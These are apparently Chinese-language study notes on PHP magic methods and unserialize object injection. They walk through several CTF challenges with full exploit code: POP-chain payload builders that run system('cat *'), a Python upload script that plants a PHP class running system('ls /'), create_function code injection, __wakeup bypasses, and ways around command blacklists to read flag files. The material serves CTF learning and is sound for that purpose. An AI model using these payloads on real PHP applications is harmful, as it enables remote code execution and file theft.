O:4:"site":3:{s:3:"url";s:13:"www.baidu.com";s:4:"name";N;s:5:"title";s:4:"test";}
//析构函数:结束运行结束后会调用此魔术方法
//__to string:当我们直接要输出一个对象时,如echo $a,print $a,那么会自动调用的此魔术方法;或者让其他类的某一个变量等于该类(假设class A有一个to string方法,$a=new A(),,$b=new B(), $b->test=$a则会调用A的to string方法)
<?php
class Magic
{
public $var = 'test';
//构造函数,在创建对象的时候调用
public function __construct()
{
echo '__construct called'.PHP_EOL;
}
//某个对象的引用都被删除、对象被销毁、调用exit()后、脚本关闭时被调用
public function __destruct()
{
echo '__destruct called'.PHP_EOL;
}
//当给不可访问或不存在属性赋值时被调用
public function __set($name, $value)
{
echo $name.'-'.$value;
echo '__set called'.PHP_EOL;
}
//读取不可访问或不存在属性时被调用
public function __get($name)
{
echo $name;
echo '__get called'.PHP_EOL;
}
//调用不可访问或不存在的方法时被调用
public function __call($name, $arguments)
{
echo $name . '-' . implode(',', $arguments);
echo '__call called'.PHP_EOL;
}
//调用不可访问或不存在的静态方法时被调用
public static function __callStatic($name, $arguments)
{
echo $name . '-' . implode(',', $arguments);
echo '__callStatic called'.PHP_EOL;
}
//对不可访问或不存在的属性调用isset()或empty()时被调用
public function __isset($name)
{
echo $name;
echo '__isset called'.PHP_EOL;
return true;
}
//对不可访问或不存在的属性进行unset时被调用
public function __unset($name)
{
echo $name;
echo '__unset called'.PHP_EOL;
}
//serialize时被调用,当你不需要保存大对象的所有数据时很有用
public function __sleep()
{
echo '__sleep called'.PHP_EOL;
return array('var1111111111');
}
//unserialize时被调用,可用于做些对象的初始化操作
public function __wakeup()
{
echo '__wakeup called'.PHP_EOL;
$this->var = 'test after wakeup';
}
//当一个类被转换成字符串时被调用
public function __toString()
{
return '__toString called'.PHP_EOL;
}
//进行对象clone时被调用,用来调整对象的克隆行为
public function __clone()
{
echo '__clone called'.PHP_EOL;
}
//当以函数方式调用对象时被调用
public function __invoke()
{
echo '__invoke called'.PHP_EOL;
}
//当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
public static function __set_state($arr)
{
return '__set_state called'.PHP_EOL;
}
//当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
public function __debuginfo($arr)
{
echo '__debuginfo called'.PHP_EOL;
return array(
'var' => 'test fro __debuginfo'
);
}
}
$m = new Magic(); //__construct()被调用
$m->not_exist_property = test; //__set()被调用
echo $m->not_exist_property;//__get()被调用
$m->abc(1,2,3); //__call()被调用
echo isset($m->not_exist_property); //__isset()被调用,返回bool值
unset($m->not_exist_property); //__unset()被调用
echo $tmp = serialize($m); //__sleep()被调用
unserialize($tmp); //__wakeup()被调用
$m1 = clone $m; //__clone()被调用,对象默认是引用传递,使用clone关键词则可实现对象复制
$m(); //__invoke()
eval( '$m2 = ' . var_export ( $m , true ) . ';' );var_dump($m2);
var_dump($m);
//最后__destruct()被调用
/*
结果:
__construct called
not_exist_property-test__set called
not_exist_property__get called
abc-1,2,3__call called
not_exist_property__isset called
1not_exist_property__unset called
__sleep called
O:5:"Magic":1:{s:13:"var1111111111";N;}__wakeup called
__destruct called
__clone called
__invoke called
string(20) "__set_state called
"
class Magic#1 (1) {
public $var =>
string(4) "test"
}
__destruct called
__destruct called
*/
(加号可绕过一些过滤)
O后面的数字溢出(或将user后面的属性值改大)可绕过__wake up
//传数组
php 对象注入
对象注入漏洞出现的两个前提条件:
- unserialize的参数可控。
- 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
eg1(第六届强网杯-强网先锋-rcefile):
核心代码如下:
config.inc.php:
<?php
spl_autoload_register();
error_reporting(0);
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
upload.php:
<?php
include "config.inc.php";
$file = $_FILES["file"];
if ($file["error"] == 0) {
if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
$typeArr = explode("/", $file["type"]);
$imgType = array("png","jpg","jpeg");
if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
exit("type error");
}
$blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
$filearray = pathinfo($file["name"]);
$ext = $filearray["extension"];
if(in_array($ext, $blackext)) {
exit("extension error");
}
$imgname = md5(time()).".".$ext;
if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
array_push($userfile, $imgname);
setcookie("userfile", serialize($userfile), time() + 3600*10);
$msg = e("file: {$imgname}");
echo $msg;
} else {
echo "upload failed!";
}
}
}else{
exit("error");
}
?>
首先先了解一下spl_autoload_register();函数的特性
当实例化一个文件中不存在的类时,spl_autoload_register函数会自动在当前目录下包含文件名为 类名.php 或类名.inc
config.inc.php中unserialize的参数是可控的,如果上传一个包含__destruct()
或__wakeup()
魔术方法的类,并在方法中写入要执行的命令,那么只需要触发发序列化即可执行命令。有两点需要解决:
1、类的名称和文件名保持一致
根据upload.php源码可知,文件名是由当前时间的md5加密来命名的,所以要通过python写脚本获取当前时间md5值上传
import time
import hashlib
import requests
def generate_class_file():
content = '''<?php
class {}{{
public function __destruct(){{
system("ls /");
}}
}}
'''
h = hashlib.md5(str(int(time.time()+1.5)).encode()).hexdigest() # 时间方面自己调整成跟上传的时间一致
print(h)
file = content.format(h)
return file
def send_request(url, file_content):
files = {'file': ('111.inc', file_content.encode(), 'image/jpeg', {'Expires': '0'})}
res = requests.post(url, files=files)
print(res.text)
send_request("http://eci-2ze4dm8xhkfujyecsi99.cloudeci1.ichunqiu.com/upload.php", generate_class_file())
2、触发反序列化
若cookie中的userfile变量值不为空,则进行反序列化,在包含config.inc.php的页面下修改cookie头为以下值
<?php
class c9c06f3c38a1264176eb31312915c387 { #上传的类名,类名不能以数字开头,可以多上传几次
}
$a = new c9c06f3c38a1264176eb31312915c387();
echo serialize($a);
?>
# userfile=O:32:"c9c06f3c38a1264176eb31312915c387":0:{}
pop链
eg1:
<?php
include "flag.php"; // 文件包含flag.php,用来提示flag值位于flag.php页面内
class Index{ // 定义一个以Index为名的类
private $name1; // 定义一个以name1为名的私有属性
private $name2; // 定义一个以name2为名的私有属性
protected $age1; // 定义一个以age1为名的私有属性
protected $age2; // 定义一个以age2为名的私有属性
function getflag(){ //定义一个以getflag为名的方法
$name2 = rand(0,999999999); // 定义一个以name2为名的变量,注意与该类的私有属性name2无关
if($this->name1 === $this->name2){ // 判断该类的两个私有属性是否全等,先判断类型后判断数值
$age2 = rand(0,999999999); // 同上
if($this->age1 === $this->age2){ // 同上
include('php://filter/convert.base64-encode/resource=flag.php');
// 若该类的私有属性全等,保护属性全等,则读取flag.php页面源码
}
}
else{ // 否则,输出nonono
echo "nonono";
}
}
}
if(isset($_GET['poc'])){ // 判断是否以GET形式传参给poc或传的值是否为NULL
$a = unserialize($_GET['poc']); // 若传了参数且不为NULL,则反序列化该字符串
$a->getflag(); // 调用getflag()方法
}
else{ // 否则,高亮显示源代码
highlight_file(__file__);
}
?>
<?php
class Index{
private $name1='1';
private $name2='1';
protected $age1=18;
protected $age2=18;
}
$a= new Index();
echo urlencode(serialize($a));
?>
//因为有private和protected所以要url编码,或者将不可见字符都替换成%00
eg2:
<?php
error_reporting(0); // 关闭所有PHP错误报告
include 'flag.php'; // 文件包含[email protected],猜测flag存在于flag.php页面的源码内,可能是注释或者在是变量的值中
highlight_file(__FILE__); // 高亮显示当前页面源码
class Admin // 定义一个以Admin为名的类
{
public $username; // 定义一个以username为名的公有属性
public $password; // 定义一个以password为名的公有属性
function __construct($username, $password) // 定义一个以username,password为参数的构造方法
{ // 当前类的实例化对象对创建的时候,自动被调用,一般用来对类的属性进行初始化
$this->username = $username; // 属性初始化
$this->password = $password; // 属性初始化
}
function __toString() // 定义一个魔术方法toString
{ // 当前类的实例化对象被当做字符串处理的时候,自动被调用
$this->login($this->username, $this->password); // 调用当前类的自定义方法login,其中参数为当前类的两个属性
}
function login($username, $password) // 定义一个以username,password为参数的login方法
{
$username = addslashes($username); // 定义一个username局部属性,并且对当前类的成员属性进行addslashes函数转义,并且赋值给局部属性
$password = addslashes($password); // 同上,addslashes函数是对字符串参数中的预定义字符进行转义,并且返回转义后的字符串
if ($username === 'admin' && $password === 'admin') { // 判断username是否全等于admin且password是否全等于admin
global $flag; // 若相等,则声明flag变量为全局变量,global解决PHP中变量作用域的限制的问题
echo $flag; // 打印出flag值
}
}
function ban() // 定义一个以ban为名的类,就是限制10次呗
{
$times = 10 - (int)$_COOKIE['times'];
if ($times <= 0) {
die("You have been banned");
} else {
$times -= 1;
setcookie('times', 10 - $times);
die("You have $times times to try.");
}
}
}
class Guest // 定义一个以Guest为名的类
{
public $username; // 定义一个以username为名的公有属性
public $password; // 定义一个以password为名的公有属性
public $role; // 定义一个以role为名的公有属性
function __construct($username, $password) // 定以一个以username,password为参数的构造方法
{ // 当前类的实例化对象被创建的时候,自动被调用
$this->username = $username; // 属性初始化
$this->password = $password; // 属性初始化
$this->role = 0; // 属性初始化
}
function __call($method, $args) // 定义一个以method和args为参数的call魔术方法,__call() 方法用于监视错误的方法调用
{ // 当前类的实例化对象调用一个不可访问的方法时候,自动被调用
$this->login($this->username, $this->password); // 调用当前类的自定义方法login,其中参数为当前类的两个属性
}
function login($username, $password) // 自定义一个以当前类的两个属性为参数的login函数
{
$username = addslashes($username); // 把成员属性经过addslashes转义后,赋值给局部属性(注意:addslashes把成员参数当做字符串处理)
$password = addslashes($password); // 把成员属性经过addslashes转义后,赋值给局部属性
if ($username === 'guest' && $password === 'guest') { // 判断是否全等
$this->role = 0;
}
}
}
class User
{
public $username;
public $password;
public $role;
public $admin;
function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
$this->role = 0;
$this->admin = new Admin($username, $password);
}
function __wakeup() // 定义一个魔术方法,当前类的实例化对象进行反序列化的时候,自动被调用
{
$this->login($this->username, $this->password); // 调用自定义的login函数,注意这里传入的是成员属性
}
function login($username, $password)
{
// var_dump($username);
if (isset($username) && isset($password)) { // 判断是否有值且是否为NULL
if ($username === 'guest' && $password === 'guest') { // 判断是否全等
$this->role = 0;
$this->admin->ban(); // 这里是一个错误的方法调用:因为当前类没有ban方法,访问不到ban方法
}
}
}
}
if (!isset($_COOKIE['times'])) { // 这里无所谓,因为ban方法根本没有被调用到
setcookie('times', 0);
}
unserialize($_GET['p']); // 反序列化我们传入的字符串
//admin属性调用ban方法-->guest实例化对象调用ban方法-->
分析:
flag值得位置:一种可能是[email protected]页面的注释中,另外一种可能是存储在[email protected]源码的变量中(那么后台需要对存储flag值得这个变量作用域进行调整了);
Admin类中:发现这里对flag变量进行了global声明,变量作用域的限制的问题也就解决了,同时也印证了上面的flag值位置的猜测
要想得到flag–>需要调用login方法(且username/password属性的值要和admin全等)
要想调用login方法–>需要执行toString()魔术方法
要想执行toString魔术方法–>就要让当前类的实例化对象被当做字符串进行处理(常见的是:echo对象)(但是:这题中不是)
Guest类中:发现addsalshes()函数:是对字符串参数中的预定义字符进行转义,并且返回转义后的字符串。很明显这里的addslashes函数的参数是当前类的成员属性,那么我们就可以把该值赋值为Admin类的实例化对象,就满足了以上的自动调用Admin类的toString方法的条件了
要想调用Guest类的login方法–>需要执行call()魔术方法
要想执行call()魔术方法–>需要当前类的实例化对象存在错误的方法调用(一般是:让当前类的实例化对象访问一个不存在的方法)
User类中:发现当前类的成员属性admin的值,在调用当前类不存在的一个ban()方法(那么如果这个admin的值为Guest类的实例化对象,那么它一旦调用了不存在的ban()方法,就会自动调用Guest类的call()魔术方法)
要想执行“$this->admin->ban()”–>需要调用login方法(同时两个成员属性的值全等于guest)
要想调用login方法–>需要调用wakeup()魔术方法
要想调用wakeup()魔术方法–>需要当前类的实例化对象被反序列化(一般在:程序结束的时候,自动销毁对象)
解题:
传入一个User类的实例化对象的序列化字符串–>在反序列化的时候自动调用了User类的wakeup()魔术方法–>接着调用了User类的自定义login方法–>若此时username和password属性的值全等于guest且admin属性的值为Guest类的实例化对象,那么就会自动调用Guest类的call魔术方法–>紧接着就会调用Guest类的自定义login方法–>若此时username的值或password的值为Admin类的实例对象,那么就会自动调用Admin类的toString魔术方法–>接着就会调用Admin类的自定义login方法–>若此时username的值和password值全等于admin,则对[email protected]的$flag变量进行global声明,从而解决了包含页面中的变量的作用域限制的问题–>最后即可echo出flag值
<?php
class Admin
{
public $username="admin";
public $password="admin";
}
class Guest
{
public $username;
public $password;
public $role;
}
class User
{
public $username="guest";
public $password="guest";
public $role;
public $admin;
}
$a = new Admin();
$b = new Guest();
$b->password=$a;
$c = new User();
$c->admin=$b;
echo serialize($c);
eg3
<?php
class W4RSP1T3 {
public $filename;
function GetContent() {
$content = file_get_contents($this->filename);
echo $content;
}
}
if ($_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') {
echo 'Only Localhost can see';
die();
}
else if(isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$keyword = "GDUFS";
if (strpos($userAgent, $keyword) == false)
{
echo '不是广外的滚出克<br>';
echo 'Please use GDUFS browser!';
die();
}
}
show_source(__FILE__);
$R1nd0 = null;
if (isset($_POST['W4RSP1T3'])) {
$R1nd0 = unserialize($_POST['W4RSP1T3']);
if (!is_object($R1nd0)||get_class($R1nd0) != 'W4RSP1T3') {
$R1nd0 = new W4RSP1T3 ();
$R1nd0->filename = "text.txt";
}
} else {
$R1nd0 = new W4RSP1T3();
$R1nd0->filename = "text.txt";
}
$R1nd0->GetContent();
<?php
class W4RSP1T3 {
public $filename;
public function __construct($filename)
{
$this->filename = $filename;
}
}
$w = new W4RSP1T3("flag.php");
echo serialize($w);
eg4
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
传入数据的入口是反序列化,从fin
类的__destruct
开始,作用是将fin
的f1
属性当成字符串,可以借此跳到__tostring
,由于__tostring
在what
类中,就将f1
的值指向$w
,
然后__tostring
作用是调用run
方法,而mix
和fin
中都含有run
方法,选一个就行,这里选mix
的,就要将what
的$a
值指向mix
这里明显是用run
方法跳到crow
中的__invoke
,那么就要让$this->m1
指向$c
,
__invoke
调用了一个不存在的world()
方法,明显用来跳到fin
中的__call
函数,
最后__call
调用mix
类中的get_flag()
函数执行命令
整理一下:
fin::__destruct
↓↓↓
what::__toString
↓↓↓
mix::run (or fin::run)
↓↓↓
crow::__invoke
↓↓↓
fin::__call
↓↓↓
mix::get_flag
<?php
class crow
{
public $v1;
public $v2;
public function __construct($v1)
{
$this->v1 = $v1;
}
}
class fin
{
public $f1;
public function __construct($f1)
{
$this->f1 = $f1;
}
}
class what
{
public $a;
public function __construct($a)
{
$this->a = $a;
}
}
class mix
{
public $m1;
public function __construct($m1)
{
$this->m1 = $m1;
}
}
$f = new mix("\nsystem('cat *');"); //这里hackbar会在\n后面多加一个换行
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a)); //注意以post方式传输的参数一般要url编码一下,并且最好用bp传包
eg5(bugku_unserialize-Noteasy):
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
因为反序列化并不会执行构造函数,所以忽略 __construct()。而__destruct()
是必被执行的,所以$a("", $b);
就是拿 flag 的突破口
$a("", $b);
寓意为动态执行一个函数,函数名为 $a 的值,函数的第一个参数为空,第二参数为 $b 的值
像一个变量包含另一个变量的就可以用create_function
函数(此函数在 PHP7.2 中被废除,但本题环境是 PHP5)
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
$newfunc = create_function('$a,$b', 'echo "abc";');
相当于
function lambda_1($a,$b){
echo "abc";
}
<?php
$newfunc = create_function('$a,$b', 'echo "abc";');
echo "function name: $newfunc\n";
echo $newfunc(111,222) . "\n";
?>
// lambda_1 abc
当
$a = "create_function";
$b = "}要执行的命令/*;";
则 `$a("", $b);` 相当于
create_function("", "}要执行的命令/*;");
// 相当于创建了一个这样的函数
function ()
{
}
要执行的命令;
/*;}
顺带一提,如果$b
在前面($a($b, "");
)同样可以利用此方法
$a = "create_function";
$b = "){}要执行的命令;/*";
即create_function("){}要执行的命令;/*", "");
最后构造一个完整的反序列化字符串赋给p参数
<?php
class Noteasy
{
private $a;//如果不是urlencode记得将不可见字符替换成%00
private $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
$a = new Noteasy("create_function",";}var_dump(scandir('/'));"); //先扫描一下目录
echo urlencode(serialize($a));
再用show_source('/flag')
读flag
eg6:2022羊城杯 step_by_step
<?php
class yang
{
public $y1;
public function __construct()
{
echo 'construct';
$this->y1->magic();
}
public function __tostring()
{
echo 'tostring';
($this->y1)();
}
public function hint()
{
//echo $this->y1;
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}
class cheng
{
public $c1;
public function __wakeup()
{
echo 'wakeup';
$this->c1->flag = 'flag';
}
public function __invoke()
{
echo 'invoke';
$this->c1->hint();
}
}
class bei
{
public $b1;
public $b2;
public function __set($k1,$k2)
{
echo 'set2';
print $this->b1;
}
public function __call($n1,$n2)
{
echo "call";
echo $this->b1;
}
}
if (isset($_POST['ans'])) {
unserialize($_POST['ans']);
} else {
highlight_file(__FILE__);
}
?>
整理一下:
cheng::__wakeup
↓↓↓
bei::__set
↓↓↓
yang::__tostring
↓↓↓
cheng::__invoke
↓↓↓
yang::hint
eg7:bugku-安慰奖
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
让$username=admin
,$cmd=要执行的命令
,再绕过__wakeup
函数即可
<?php
class ctf
{
protected $username = 'admin';
protected $cmd = 'ls ./';
}
$aa = new ctf();
echo serialize($aa);
?>
将ctf
后面的数字2改成其他数字,再将输出结果中的不可见字符替换成%00,或者直接将输出结果urlencode
payload1.1:
?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:5:"ls ./";}
虽然题目禁用了cat
,more
等查看命令,但没有禁用全,可以用nl
,tac
查看(这里不能用ca* ./fl*
这种带星号的不知道原因)
payload1.2:
?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:13:"nl ./flag.php";}
?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:14:"tac ./flag.php";}
protect类型序列化时会有不可见字符,将序列化中的s换为S即可识别十六进制
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
eg8:[MRCTF2020]Ezpop
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
Show::__construct
↓↓↓
Show::__toString
↓↓↓
Test::__get
↓↓↓
Modifier::__invoke + append
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod = new Modifier();
$test= new Test();
$test->p = $mod; // 通过执行__get中的Modifier(),触发Modifier类的__invoke方法
$show = new Show();
$show->str = $test; // 通过访问__toString中Test类不存在的source属性,触发Test类的__get方法
$show2 = new Show();
$show2->source = $show; // 通过__construct输出一个Show类对象,触发此Show类对象的__toString方法
echo urlencode(serialize($show2)); // 反序列化自动触发其__construct方法